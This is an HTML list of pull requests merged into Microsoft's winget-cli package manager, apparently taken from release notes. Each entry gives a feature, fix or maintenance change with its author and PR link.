<li>feat: authenticate GitHub API requests using GH_TOKEN/GITHUB_TOKEN by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wmmc88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wmmc88">@wmmc88</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3997110317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6071" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6071/hovercard" href="https://github.com/microsoft/winget-cli/pull/6071">#6071</a></li>
<li>Tool to investigate SQLite compression by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4023664222" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6074" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6074/hovercard" href="https://github.com/microsoft/winget-cli/pull/6074">#6074</a></li>
<li>Add dependencies only option by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3992749991" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6069" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6069/hovercard" href="https://github.com/microsoft/winget-cli/pull/6069">#6069</a></li>
<li>docs: fix multiple documentation issues (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2915720169" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5296" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5296/hovercard" href="https://github.com/microsoft/winget-cli/issues/5296">#5296</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720921587" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5921" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5921/hovercard" href="https://github.com/microsoft/winget-cli/issues/5921">#5921</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2769295431" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5108" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5108/hovercard" href="https://github.com/microsoft/winget-cli/issues/5108">#5108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2238926257" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/4372" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/4372/hovercard" href="https://github.com/microsoft/winget-cli/issues/4372">#4372</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612941602" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5867" data-hovercard-type="issue" data-hovercard-url="/microsoft/winget-cli/issues/5867/hovercard" href="https://github.com/microsoft/winget-cli/issues/5867">#5867</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GrantMeStrength/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GrantMeStrength">@GrantMeStrength</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4145157508" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6110" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6110/hovercard" href="https://github.com/microsoft/winget-cli/pull/6110">#6110</a></li>
<li>Revert help link in DscCommand by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4145628763" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6111" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6111/hovercard" href="https://github.com/microsoft/winget-cli/pull/6111">#6111</a></li>
<li>Update Moq, curl, and c-ares by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4147531770" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6112" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6112/hovercard" href="https://github.com/microsoft/winget-cli/pull/6112">#6112</a></li>
<li>Add Timeserver Support for SourceCreator and support spaces in paths and file names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148852287" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6113" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6113/hovercard" href="https://github.com/microsoft/winget-cli/pull/6113">#6113</a></li>
<li>Report skipped upgrades when install technology differs (upgrade --all) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMDphreak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMDphreak">@AMDphreak</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111928053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6096" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6096/hovercard" href="https://github.com/microsoft/winget-cli/pull/6096">#6096</a></li>
<li>[AI Generated] Ensure correct DSC export of admin settings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140482006" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6109" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6109/hovercard" href="https://github.com/microsoft/winget-cli/pull/6109">#6109</a></li>
<li>Update default for useLatest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4148917499" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6114" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6114/hovercard" href="https://github.com/microsoft/winget-cli/pull/6114">#6114</a></li>
<li>Add Update commands for MCP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4172268285" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6117" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6117/hovercard" href="https://github.com/microsoft/winget-cli/pull/6117">#6117</a></li>
<li>Preserve overrides with export and import by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4173119239" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6118" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6118/hovercard" href="https://github.com/microsoft/winget-cli/pull/6118">#6118</a></li>
<li>Quote winget server path before calling CreateProcess by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yao-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yao-msft">@yao-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190755267" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6122" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6122/hovercard" href="https://github.com/microsoft/winget-cli/pull/6122">#6122</a></li>
<li>Update to spell check v26 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214249146" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6128" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6128/hovercard" href="https://github.com/microsoft/winget-cli/pull/6128">#6128</a></li>
<li>Add issue types to issue templates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241777916" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6139" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6139/hovercard" href="https://github.com/microsoft/winget-cli/pull/6139">#6139</a></li>
<li>Improve MOTW error handling in download flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214001872" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6127" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6127/hovercard" href="https://github.com/microsoft/winget-cli/pull/6127">#6127</a></li>
<li>Allow exporting to hidden files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3504005348" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5795" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5795/hovercard" href="https://github.com/microsoft/winget-cli/pull/5795">#5795</a></li>
<li>Add thread globals for downloader thread by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4258013619" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6141" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6141/hovercard" href="https://github.com/microsoft/winget-cli/pull/6141">#6141</a></li>
<li>Dynamically select drive for test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214412645" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6129" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6129/hovercard" href="https://github.com/microsoft/winget-cli/pull/6129">#6129</a></li>
<li>Change how Truncation works by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259464272" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6142" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6142/hovercard" href="https://github.com/microsoft/winget-cli/pull/6142">#6142</a></li>
<li>Admin setting and group policy for configuration processor path argument by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4182457379" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6119" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6119/hovercard" href="https://github.com/microsoft/winget-cli/pull/6119">#6119</a></li>
<li>Add comments to loc strings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4278175050" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6150" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6150/hovercard" href="https://github.com/microsoft/winget-cli/pull/6150">#6150</a></li>
<li>Move XML ref ahead by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284162176" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6154" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6154/hovercard" href="https://github.com/microsoft/winget-cli/pull/6154">#6154</a></li>
<li>Add policy for notifying authors of Localization Restriction by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288823601" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6156" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6156/hovercard" href="https://github.com/microsoft/winget-cli/pull/6156">#6156</a></li>
<li>Dont log failures to get font title info by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4298573384" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6163" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6163/hovercard" href="https://github.com/microsoft/winget-cli/pull/6163">#6163</a></li>
<li>[ListCommand] Fix --source filter not restricting list output to specified source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Madhusudhan-MSFT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Madhusudhan-MSFT">@Madhusudhan-MSFT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293334569" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6159" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6159/hovercard" href="https://github.com/microsoft/winget-cli/pull/6159">#6159</a></li>
<li>Improved manifest validations for MSI and Windows Feature names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311235441" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6170" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6170/hovercard" href="https://github.com/microsoft/winget-cli/pull/6170">#6170</a></li>
<li>Mitigate packaged preindexed source open lock convoy by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mamoreau-devolutions/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mamoreau-devolutions">@mamoreau-devolutions</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311593126" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6172" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6172/hovercard" href="https://github.com/microsoft/winget-cli/pull/6172">#6172</a></li>
<li>Optimize packaged temp ACL handling without weakening ACL repairs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mamoreau-devolutions/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mamoreau-devolutions">@mamoreau-devolutions</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311326921" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6171" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6171/hovercard" href="https://github.com/microsoft/winget-cli/pull/6171">#6171</a></li>
<li>Add telemetry event for index updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4325910774" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6175" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6175/hovercard" href="https://github.com/microsoft/winget-cli/pull/6175">#6175</a></li>
<li>Make extension comparison case insensitive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336637167" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6182" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6182/hovercard" href="https://github.com/microsoft/winget-cli/pull/6182">#6182</a></li>
<li>[Settings, ListCommand] Add sort types, settings infrastructure, and CLI arguments for output ordering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Madhusudhan-MSFT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Madhusudhan-MSFT">@Madhusudhan-MSFT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326435705" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6177" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6177/hovercard" href="https://github.com/microsoft/winget-cli/pull/6177">#6177</a></li>
<li>Add setting for installer log file names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3512311782" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5802" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5802/hovercard" href="https://github.com/microsoft/winget-cli/pull/5802">#5802</a></li>
<li>Add JSON validation output and interop presentation model by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339735803" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6183" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6183/hovercard" href="https://github.com/microsoft/winget-cli/pull/6183">#6183</a></li>
<li>Add default installer precedence if not defined by user by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4196821929" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6123" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6123/hovercard" href="https://github.com/microsoft/winget-cli/pull/6123">#6123</a></li>
<li>Standardize PR template with emoji sections and issue types by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373900925" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6207" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6207/hovercard" href="https://github.com/microsoft/winget-cli/pull/6207">#6207</a></li>
<li>Add Copilot instructions for writing specifications by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373818771" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6205" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6205/hovercard" href="https://github.com/microsoft/winget-cli/pull/6205">#6205</a></li>
<li>Fix policy bot bugs and expand label coverage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4373291216" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6202" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6202/hovercard" href="https://github.com/microsoft/winget-cli/pull/6202">#6202</a></li>
<li>Report DSC execution diagnostics on a timer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368050336" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6196" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6196/hovercard" href="https://github.com/microsoft/winget-cli/pull/6196">#6196</a></li>
<li>Store provisioning mitigation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366604990" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6194" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6194/hovercard" href="https://github.com/microsoft/winget-cli/pull/6194">#6194</a></li>
<li>Add execution level to telemetry summary and logs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366651180" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6195" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6195/hovercard" href="https://github.com/microsoft/winget-cli/pull/6195">#6195</a></li>
<li>Implement sort logic for winget list output<br>
by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Madhusudhan-MSFT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Madhusudhan-MSFT">@Madhusudhan-MSFT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353698237" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6191" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6191/hovercard" href="https://github.com/microsoft/winget-cli/pull/6191">#6191</a></li>
<li>VS Code WinGet log viewer tool by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4277517365" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6149" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6149/hovercard" href="https://github.com/microsoft/winget-cli/pull/6149">#6149</a></li>
<li>Bump fast-uri from 3.1.0 to 3.1.2 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432639720" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6223" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6223/hovercard" href="https://github.com/microsoft/winget-cli/pull/6223">#6223</a></li>
<li>Update <code>configure export --all</code> for recent DSC changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4431732649" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6222" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6222/hovercard" href="https://github.com/microsoft/winget-cli/pull/6222">#6222</a></li>
<li>Mitigate stack overflow issue by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4433123276" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6224" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6224/hovercard" href="https://github.com/microsoft/winget-cli/pull/6224">#6224</a></li>
<li>Reset default sources without dropping them by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347741443" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6187" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6187/hovercard" href="https://github.com/microsoft/winget-cli/pull/6187">#6187</a></li>
<li>Enable transitive pinning for central package management by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441204221" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6225" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6225/hovercard" href="https://github.com/microsoft/winget-cli/pull/6225">#6225</a></li>
<li>Configuration processor auditing improvements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366411444" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6193" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6193/hovercard" href="https://github.com/microsoft/winget-cli/pull/6193">#6193</a></li>
<li>Update rest source and wingetutil interop to include 1.28 manifest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yao-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yao-msft">@yao-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482042640" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6234" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6234/hovercard" href="https://github.com/microsoft/winget-cli/pull/6234">#6234</a></li>
